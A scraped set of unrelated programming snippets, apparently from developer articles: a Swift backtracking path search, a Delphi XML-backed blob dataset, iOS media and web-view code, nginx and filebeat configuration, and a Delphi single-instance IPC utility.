            i = lastRoom.i

            j = lastRoom.j

            foodRemaining = lastRoom.food

            // if at bottom right, pop again
            if rooms.isAtBottomRightCornerRoom(row: lastRoom.i, col: lastRoom.j)

                { continue } // Pop again

            else if previousRow &gt; lastRoom.i

                /*   if right and bottom paths have been evaluated 
&nbsp;                       from the previous room then backtrack again
                 */

                { continue }  // Pop again

            else  if i + 1 &lt; rooms.rows {  // if there is a room below to evaluate, then move to it

                // move down to the next row and evaluate the path by stoping the backtracking.

                i += 1

                path.push(lastRoom)

                pop = false

            } else  //  backtrack again, there is no path off the last room to evaluate

                { continue }  // pop again

        }

        foodRemaining -= rooms.matrix[i][j]  // calculate remaing food when visiting this room

        path.push(Room(i: i, j: j, food: foodRemaining))  // push this room on the stack

        // if at bottom right most corner than determine if this was a successful path
        if rooms.isAtBottomRightCornerRoom(row: i, col: j) {

            // if this is the best path so far or it's the first time a best path 
&nbsp;           //    was evaluated then save it.
            if foodRemaining &gt;= 0 &amp;&amp; foodRemaining &lt; best  || best == -1 {

                best = foodRemaining

                optimalPath = path._stack

            }

            pop = true  // indicate to backtrack to evaluate more paths

        } else if foodRemaining &lt; 0 {

            // if all the food is gone, then backtrack
            pop = true

        }


        if j + 1 &lt; rooms.columns   // move right first if there is a room to

            { j += 1 }

        else if i + 1 &lt; rooms.rows  // move down if there is a room to move to

            { i += 1 }

    }

    return best  // return the food remaining for the best path evaluated

}
</pre>


<pre lang="Swift">
func remains (feed: Int, zombieRooms rooms:Matrix) -&gt; Int {

    let newFeed = feed - rooms.value // calculate food remaining when visiting this room

    roomsVisited += 1 // a statistic to calculate number of rooms visited before a path was found

    path.push(rooms.value) // push this room on the stack so we can print the successful path

&nbsp;   // no food left return and pop the room off the stack
    guard feed &gt; -1 else { path.pop(); return best } 

    /*  if reached the bottom right corner room then check if this is the best path evaluated yet
     */    
    if rooms.count == 1 {

        /*  if remaining food is the lowest calculated or it's the first successful path found then 
&nbsp;              save the path and store the remain food as the new benchmark to beat.
         */
        if (newFeed &lt; best || best == -1)  &amp;&amp; newFeed &gt; -1 {

            best = newFeed

            optimalPath =  path._stack

        }

        path.pop() // backtrack to evaluate the path beginning at the previous room.

        return best

    }

    // if a path was found leaving no food, then no other paths need to be evaluated.
    guard best != 0 else { path.pop(); return best }

    /*  Decide to take the right path first or the bottom if it has more food
    */
    if rooms.width &gt; 1 &amp;&amp; rooms.vRight &gt;= rooms.vDown &amp;&amp; (newFeed - rooms.vRight) &gt; 0 {

        // Evaluate the path
        remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.i, j:rooms.right ))

        // if a path was found leaving no food, then no other paths need to be evaluated.
        guard best != 0 else { path.pop(); return best }

        // move to the room below if there is one
        if rooms.height &gt; 1 {

            remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.down, j:rooms.j ))

        }

    } else if rooms.height &gt; 1 {

        // Evaluate the path
        remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.down, j:rooms.j))

        // if a path was found leaving no food, then no other paths need to be evaluated.
        guard best != 0 else { path.pop(); return best }

        // move to the room to the right if there is one.
        if rooms.width &gt; 1  {

            remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.i, j:rooms.right))

        }

    } else if rooms.width &gt; 1 {     // move to the room to the right if there is one.

        // Evaluate the path
        remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.i, j:rooms.right))

    }

    // all paths from this room have been evaluated so backtrack
    path.pop()

    // return the value of the current best path.
    return best

}</pre>


<pre lang="Delphi">
procedure THVDataSet.InternalInitFieldDefs;
var
  fHeaderFileName: string;
  parser: THVParser;
begin
  fHeaderFileName := ChangeFileExt(FTableName, '.header');
  
  if not FileExists(fHeaderFileName) then
    raise EHVDataSetError.create('The header file must be created before!');

  Settings.LoadFromFile(fHeaderFileName);
  parser := THVParser.Create;
  
  try
    parser.ParseSQL(Settings.Script);
    parser.MyDataSet := Self;
    parser.CreateTempDefinitionTable;
    FRecordSize  := parser.TmpFieldOffset;
    FFieldOffset := parser.FieldOffset;
    Self.fScript := Settings.Script;
  finally
    FreeAndNil(parser);
  end;
end;
</pre>


<pre lang="Pascal">
procedure TForm1.FormCreate(Sender: TObject);
var
  i: integer;
begin
  HVDataSet1.TableName := ExtractFilePath(Application.ExeName) + 'customer';
  HVDataSet1.Active := True;
  edtPath.Text := HVDataSet1.TableName;
  CheckBox1.Checked := True;

  for i := 0 to HVDataSet1.FieldCount - 1 do
    DBGrid1.Columns[i].Font.Size := 8;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
var
  i: integer;
begin
  HVDataSet1.Active := CheckBox1.Checked;

  for i := 0 to HVDataSet1.FieldCount - 1 do
    DBGrid1.Columns[i].Font.Size := 8;
end;

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
  DataCol: Integer; Column: TColumn; State: TGridDrawState);
var
  R: TRect;
  Bmp: TBitmap;
begin
  R := Rect;
  Dec(R.Bottom, 2);

  if Column.Field = HVDataSet1.FieldByName('DS_MEMO') then
  begin

    DBGrid1.Canvas.FillRect(Rect);
    DrawText(DBGrid1.Canvas.Handle,
      PChar(HVDataSet1.FieldByName('DS_MEMO').AsString),
      Length(HVDataSet1.FieldByName('DS_MEMO').AsString), R,
      DT_WORDBREAK);
  end;

  if Column.Field = HVDataSet1.FieldByName('FT_PHOTO') then
  begin
    DBGrid1.Canvas.FillRect(Rect);
    Bmp := TBitmap.Create;
    try
      if (HVDataSet1.GetImageBlob) then
      begin
        Bmp.Assign(HVDataSet1.BlobImage.Picture.Bitmap);
        DBGrid1.Canvas.StretchDraw(Rect, Bmp);
       end;
    finally
      FreeAndNil(Bmp);
    end;
  end;        
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
  HVDataSet1.SaveBlobMemo('DS_MEMO', Memo1.Text);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if not OpenPictureDialog1.Execute then Exit;
  HVDataSet1.SaveBlobImage('FT_PHOTO',  OpenPictureDialog1.FileName);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  HVDataSet1.EmptyTable;
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  sw : TStopWatch;
begin
  sw := TStopWatch.Create;
  try
    sw.Start;
    HVDataSet1.Delete;
  finally
    sw.Stop;
    Label3.Caption := 'Elapsed ' + sw.FormatMillisecondsToDateTime(sw.ElapsedMilliseconds);
    FreeAndNil(sw);
  end;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  HVDataSet1.DeleteBlobMemo('DS_MEMO');
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  HVDataSet1.DeleteBlobImage('FT_PHOTO');
end;</pre>


<pre lang="Pascal">
function THVDataSet.CreateBlobStream(Field: TField;
  Mode: TBlobStreamMode): TStream;
begin
  Result := THVBlobStream.Create(Field as TBlobField, Mode);
end;

procedure THVBlobStream.LoadBlobData;
var
  i: integer;
  s: string;
begin
  if (FDataSet.BlobFieldFlag = '') then
    raise EHVDataSetError.Create('Error. There is no primay key field to assign to blob fields.');

  FDataSet.CreateBlobObjects;

  for i := 0 to FDataSet.FieldCount - 1 do
  begin
    case FDataSet.Fields[i].DataType of
      ftMemo: begin
               FDataSet.bImageRenderedOK := false;
                if collectionDataSet.Locate('BlobFieldName;FieldName;FieldValue',
                  VarArrayOf([FDataSet.Fields[i].FieldName, FDataSet.BlobFieldFlag, FDataSet.fieldByName(FDataSet.BlobFieldFlag).AsString]), []) then
                  begin
                    s := collectionDataSet.fieldByName('MemoContents').AsString;
                    Self.Write(s[1], Length(s) * SizeOf(Char));
                    self.Position := 0;
                    FModified := False;
                  end;
              end;
      end;
  end;
end;

function THVBlobStream.Read(var Buffer; Count: Integer): Longint;
begin
  Result := inherited Read(Buffer, Count);
  FOpened := True;
end;

procedure THVBlobStream.SaveBlobData;
var
  i: integer;
  Doc: TNativeXml;
  Writer: TsdXmlObjectWriter;
  FImage: TImage;
  auxStr: string;
begin
  if (FModified) then
  begin
    FDataSet.CreateBlobObjects;

    for i := 0 to FDataSet.FieldCount - 1 do
    begin
      case FDataSet.Fields[i].DataType of
        ftGraphic: begin
                     if (FDataSet.GraphicFile = '') then Continue;

                     if collectionDataSet.Locate('BlobFieldName;FieldName;FieldValue',
                       VarArrayOf([FDataSet.Fields[i].FieldName, FDataSet.BlobFieldFlag, FDataSet.fieldByName(FDataSet.BlobFieldFlag).AsString]), []) then
                         collectionDataSet.Delete;

                     FImage := TImage.Create(nil);
                     try
                       FImage.Parent := nil;
                       FImage.Picture.Bitmap.Create;
                       FImage.Visible := True;

                       FImage.Picture.Bitmap.LoadFromFile(FDataSet.GraphicFile);
                       FDataSet.GraphicFile := '';
                       //FImage.Picture.Bitmap.LoadFromFile(fAuxFile);

                       // Create XML document with root named "Root"
                       Doc := TNativeXml.CreateName('Root');
                       try
                         // Start XML conversion, from image to XML
                         Doc.XmlFormat := xfReadable;
                         // Create Object writer
                         Writer := TsdXmlObjectWriter.Create;
                         try
                           // Write the image object as child of the XML document's root node
                           Writer.WriteComponent(Doc.Root, FImage, nil);
                         finally
                           Writer.Free;
                         end;

                         auxStr := StringReplace(Doc.WriteToString, '&lt;TImage&gt;','&lt;TImage Name="Image1"&gt;',[rfReplaceAll]);
                         FImage.Visible := True;
                       finally
                         Doc.Free;
                       end;
                     finally
                       FImage.Free;
                     end;

                     blobMetaDatas.AddEx(FDataSet.Fields[i].FieldName, FDataSet.BlobFieldFlag,
                       FDataSet.fieldByName(FDataSet.BlobFieldFlag).AsString, auxStr, '');

                     with TXMLSerializer.Create(nil) do
                     begin
                       XMLSettings.WellFormated := true;
                       StorageOptions := [soIncludeObjectLinks, soSortProperties];
                       SpecialClasses := [scTCollection];
                       SaveObject(blobMetaDatas, 'BlobMeta');
                       SaveToFile(FDataSet.XMLFile);
                     end;
                   end;

        ftMemo: begin
                  if (FDataSet.BlobValue = '') then Exit;

                  if collectionDataSet.Locate('BlobFieldName;FieldName;FieldValue',
                    VarArrayOf([FDataSet.Fields[i].FieldName, FDataSet.BlobFieldFlag, FDataSet.fieldByName(FDataSet.BlobFieldFlag).AsString]),[]) then
                      collectionDataSet.Delete;

                  blobMetaDatas.AddEx(FDataSet.Fields[i].FieldName, FDataSet.BlobFieldFlag,
                    FDataSet.fieldByName(FDataSet.BlobFieldFlag).AsString, '', FDataSet.BlobValue);

                  with TXMLSerializer.Create(nil) do
                  begin
                    XMLSettings.WellFormated := true;
                    StorageOptions := [soIncludeObjectLinks, soSortProperties];
                    SpecialClasses := [scTCollection];
                    SaveObject(blobMetaDatas, 'BlobMeta');
                    SaveToFile(FDataSet.XMLFile);
                  end;
                end;
        end;
    end;
  end;

  FModified := False;
end;

function THVBlobStream.Write(const Buffer; Count: Integer): Longint;
begin
  Result := inherited Write(Buffer, Count);
  FModified := True;
end;

procedure THVBlobStream.Deserialize(aSender, aObject: TObject;
  aObjectName: string; aNode: IXMLNode; var aSkipObject: boolean);
var
  i: Integer;
begin
  for i := 0 to aNode.ChildNodes.Nodes['customdata'].ChildNodes.count - 1 do
  begin
    blobMetaDatas.Add;
  end;
end;</pre>


<pre lang="Pascal">
procedure THVDataSet.CreateBlobObjects;
begin
  if Assigned(blobMetaDatas) then
    FreeAndNil(blobMetaDatas);

  blobMetaDatas := TBlobMetaDatas.Create(TBlobMetaData);

  XMLFile := (ExtractFileName(AnsiUpperCase(TableName))+ '.xml');
  if FileExists(XMLFile) then
  begin
    with TXMLSerializer.Create(nil) do
    begin
      XMLSettings.WellFormated := true;
      SpecialClasses := [scTCollection];
      LoadFromFile(XMLFile);
      OnStartObjectLoad := Deserialize;
      LoadObject(blobMetaDatas, 'BlobMeta');
    end;
  end;

  if Assigned(collectionDataSet) then
  begin
    collectionDataSet.Active := False;
    FreeAndNil(collectionDataSet);
  end;

  collectionDataSet := TCollectionDataSet.Create(nil);
  collectionDataSet.Collection := blobMetaDatas;
  collectionDataSet.Active := True;
end;</pre>


<pre lang="Pascal">
type

  TBlobMetaData = class (TCollectionItem)
  private
    FBlobFieldName: string;
      FFieldName: string;
    FFieldValue: string;
    FGraphicContents: string;
      FMemoContents: string;
  published
    property BlobFieldName: string read FBlobFieldName write FBlobFieldName;
      property FieldName: string read FFieldName write FFieldName;
    property FieldValue: string read FFieldValue write FFieldValue;
    property GraphicContents: String read FGraphicContents write FGraphicContents;
      property MemoContents: String read FMemoContents write FMemoContents;
  end;

  TBlobMetaDatas = class (TCollection)
  private
    function  GetItem(Index: Integer): TBlobMetaData;
    procedure SetItem(Index: Integer; AObject: TBlobMetaData);
  public
    function Add: TBlobMetaData;
    function AddEx(BlobFieldName : string; FieldName: string; FieldValue: string; GraphicContents: string; MemoContents: string): TBlobMetaData;
    property Item[Index: Integer]: TBlobMetaData read GetItem;
    procedure Delete(Index: Integer);
 end;

{ TBlobMetaDatas }

function TBlobMetaDatas.Add: TBlobMetaData;
begin
  Result := inherited Add as TBlobMetaData;
end;

function TBlobMetaDatas.AddEx(BlobFieldName, FieldName, FieldValue,
  GraphicContents, MemoContents: string): TBlobMetaData;
begin
  Result := inherited Add as TBlobMetaData;
  Result.BlobFieldName := BlobFieldName;
  Result.FieldName := FieldName;
  Result.FieldValue := FieldValue;
  Result.GraphicContents := GraphicContents;
  Result.MemoContents := MemoContents;
end;

procedure TBlobMetaDatas.Delete(Index: Integer);
begin
  inherited Delete(Index);
end;

function TBlobMetaDatas.GetItem(Index: Integer): TBlobMetaData;
begin
  Result := inherited Items[Index] as TBlobMetaData;
end;

procedure TBlobMetaDatas.SetItem(Index: Integer; AObject: TBlobMetaData);
begin
  inherited Items[Index] := AObject;
end;</pre>


<pre lang="ObjectiveC">- (void)refreshNowPlayingInfo:(UIImage*) image
{
    NSMutableDictionary *info = [NSMutableDictionary dictionary];
    // add some information
    [info setObject:@"Artist" forKey:MPMediaItemPropertyArtist];

    if (image) {
		const CGFloat SIZE = 128*8;//could be other value
		CGSize size = image.size;
		CGFloat x = size.width;
		CGFloat y = size.height;
        //ensure proper scaling
		if( x &gt; y )	{
			y = (y * SIZE) / x;
			x = SIZE;
		} else if( x &lt; y )
		{
			x = (x * SIZE) / y;
			y = SIZE;
		} else {
			x = SIZE;
			y = SIZE;
		}
        //create a new image
		UIGraphicsBeginImageContext( CGSizeMake(SIZE, SIZE) );//full size
        //draw so, that it got centered in x and y
		[image drawInRect:CGRectMake( (SIZE-x)/2, (SIZE-y)/2, x, y)];
		UIImage* newImage = UIGraphicsGetImageFromCurrentImageContext();
		UIGraphicsEndImageContext();

        [info setObject:[[MPMediaItemArtwork alloc] initWithImage:newImage] 
                        forKey:MPMediaItemPropertyArtwork];
    }

    [MPNowPlayingInfoCenter defaultCenter].nowPlayingInfo = info;
}</pre>


<pre lang="ObjectiveC">


// book.swift

class Book{
    let author : String
    let title : String
    let pageCount : Int
    
    init (_ author : String, _ title : String, _ pageCount : Int){
        self.author = author
        self.title = title
        self.pageCount = pageCount
        print ("\(author) wrote \(title) which is \(pageCount) pages long")
    }
}

let b = Book("Matt Neuburg", "iOS 9 Programming Fundamentals with Swift", 604)</pre>


<pre lang="ObjectiveC">// AppController.mm

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {   
    //...   

&nbsp;   // EK: create container view
    UIView *containerView = [[UIView alloc] initWithFrame:[window bounds]];
 
    // EK: create web view
    UIWebView *webview=[[UIWebView alloc]initWithFrame:[window bounds]];
    NSString *url=@"https://www.google.com";
    NSURL *nsurl=[NSURL URLWithString:url];
    NSURLRequest *nsrequest=[NSURLRequest requestWithURL:nsurl];
    [webview loadRequest:nsrequest];
   
    // EK: add subviews
    [containerView addSubview:webview];
    [containerView addSubview:eaglView];

    _viewController = [[RootViewController alloc] initWithNibName:nil bundle:nil];
    _viewController.wantsFullScreenLayout = YES;

    // EK: set container view instead of eagle view
    _viewController.view = containerView;

    // EK: set eagl view as transparent
    eaglView.opaque = NO;</pre>


<pre lang="ObjectiveC">// CCEAGLView-ios.mm

- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event
{
    UIView* view = nil;
    UIView* ids[IOS_MAX_TOUCHES_COUNT] = {0};
    float xs[IOS_MAX_TOUCHES_COUNT] = {0.0f};
    float ys[IOS_MAX_TOUCHES_COUNT] = {0.0f};

    ids[0] = self;
    xs[0] = point.x * self.contentScaleFactor;
    ys[0] = point.y * self.contentScaleFactor;
   
    // EK: simulate hit test
    auto glview = cocos2d::Director::getInstance()-&gt;getOpenGLView();
    if (glview-&gt;handleTouchesBegin(1, (intptr_t*)ids, xs, ys)) {
        view = self;
        glview-&gt;handleTouchesCancel(1, (intptr_t*)ids, xs, ys);
    }

    return view;
}</pre>



<pre lang="PERL">
user  nginx;
worker_processes  4;  # 2 * Number of CPUs
events {
  # It&#39;s the key to high performance - have a lot of connections available
  worker_connections  19000;
}
# Each connection needs a filehandle (or 2 if you are proxying)
# Total amount of users you can serve = worker_processes * worker_connections
worker_rlimit_nofile    40000;

http {
  upstream aspnetservers {
    server 10.187.147.99:80 max_fails=3 fail_timeout=30s;
    server 10.187.147.100:80 max_fails=3 fail_timeout=30s;
    keepalive 32; # keep some connections alive to save connection open time
  }
  server {
    listen 80;
    server_name mynginx.com www.mynginx.com;
    location / {
       proxy_pass http://aspnetservers;
      add_header       X-Upstream      $upstream_addr;
    }
  }

</pre>



<pre lang="PERL">
filebeat:
  # List of prospectors to fetch data.
  prospectors:
    # Each - is a prospector. Below are the prospector specific configurations
    -
      # Paths that should be crawled and fetched. Glob based paths.
      # To fetch all &quot;.log&quot; files from a specific level of subdirectories
      # /var/log/*/*.log can be used.
      # For each file found under this path, a harvester is started.
      # Make sure not file is defined twice as this can lead to unexpected behaviour.
      paths:
        - /var/log/*.log
        #- c:\programdata\elasticsearch\logs\*</pre>


<pre lang="PERL">
filebeat:
  # List of prospectors to fetch data.
  prospectors:
    # Each - is a prospector. Below are the prospector specific configurations
    -
      # Paths that should be crawled and fetched. Glob based paths.
      # To fetch all &quot;.log&quot; files from a specific level of subdirectories
      # /var/log/*/*.log can be used.
      # For each file found under this path, a harvester is started.
      # Make sure not file is defined twice as this can lead to unexpected behaviour.
      paths:
        - C:\inetpub\logs\LogFiles\W3SVC1\*
        #- /var/log/*.log
        #- c:\programdata\elasticsearch\logs\*</pre>

		
		
<pre lang="Delphi">
procedure TFormMain.AcceptCommandLineFromSecondInstance(commandLine: string);
var
   files: array of string;
   // ...
begin
   Application.Minimize; // this is what really…
   Application.Restore;  // brings a form to top
   Application.BringToFront; // just in case, for other platforms
   files := TSingleInstanceUtility.DeserializeCommandLine(commandLine);
   // handle each file
   // ...
end;

constructor TFormMain.Create(TheOwner: TComponent);
begin
   inherited Create(TheOwner);
   SingleInstanceUtility := TSingleInstanceUtility.Create;
   SingleInstanceUtility.OnCommandLineFromSecondInstance := @AcceptCommandLineFromSecondInstance;
   // uninitialize form
   //..
end;

destructor TFormMain.Destroy;
begin
   SingleInstanceUtility.Free;
   inherited Destroy;
end;
</pre>


<pre lang="Delphi">
procedure BringToFront(AppHandle: THandle);
//SA!!! July 2 2003: bugzilla#284 finally found solution:
var
   topWindow: HWnd;
begin
   if AppHandle = 0 then exit;
   topWindow := GetLastActivePopup(AppHandle);
   if (topWindow&lt;&gt;0) and (TopWindow &lt;&gt; AppHandle) and
      IsWindowVisible(topWindow) and IsWindowEnabled(topWindow) then
         SetForegroundWindow(topWindow);
end;
</pre>


<pre lang="Delphi">
class function TSingleInstanceUtility.IsSecondInstance: boolean;
var
    client: TSimpleIPCClient;
    commandLineMerged: string;
begin
   Result := false;
   client := TSimpleIPCClient.Create(nil);
   client.ServerID := GetServerID;
   try
      try
        if not client.ServerRunning then begin
             Result := false; exit;
         end {if};
         client.Connect;
         Result := true;
         if CommandLine.FileCount &gt; 0 then begin
            commandLineMerged := SerializeCommandLine;
            client.SendStringMessage(commandLineMerged);
         end else
            client.SendStringMessage(EmptyString);
      except
         Result := false;
      end {exception};
   finally
      client.Free;
   end {exception};
end {TSingleInstanceUtility.IsSecondInstance};
</pre>


<pre lang="ObjectiveC">
class ProtoModel {
    var delegate : ProtoExample?
    
    func doSomeProcessing() {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), { () -&gt; Void in
            // let them know that we are starting
            dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                self.delegate?.workIsStarting()
            })
        
            // do some stuff
            var workTime : UInt32 = 0
            if let del = self.delegate {
                workTime = del.workTime
            }
            
            while 0 &lt; workTime { sleep(1) dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                    self.delegate?.workInProgress?()
                })

                workTime--
            }

            dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                self.delegate?.workIsComplete()
            })
        })
    }
}</pre>


<pre lang="ObjectiveC">
class ProtoModel {
    var delegate : ProtoExample
    
    init (delegate: ProtoExample) {
        self.delegate = delegate
    }
    
    func doSomeProcessing() {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), { () -&gt; Void in
            // let them know that we are starting
            dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                self.delegate.workIsStarting()
            })
        
            // do some stuff
            var workTime = self.delegate.workTime
            
            while 0 &lt; workTime { sleep(1) dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                    self.delegate.workInProgress?()
                })

                workTime--
            }

            dispatch_async(dispatch_get_main_queue(), { () -&gt; Void in
                self.delegate.workIsComplete()
            })
        })
    }
}</pre>


<pre lang="ObjectiveC">
class ViewController: UIViewController, ProtoExample {
    
    @IBOutlet weak var labelWorkStatus: UILabel!
    
    // implement the protocol
    var workTime : UInt32 { return 10 }

    func workIsComplete() {
        labelWorkStatus.text = &quot;Work is Complete&quot;
    }
    
    func workIsStarting() {
        labelWorkStatus.text = &quot;Work is Starting&quot;
    }</pre>


<pre lang="ObjectiveC">
    var protoModel : ProtoModel?

    override func viewDidLoad() {
        super.viewDidLoad()

        // create and setup the model
        self.protoModel = ProtoModel()
        self.protoModel?.delegate = self
        
        // setup the view
        labelWorkStatus.text = &quot;Ready for Work&quot;
    }</pre>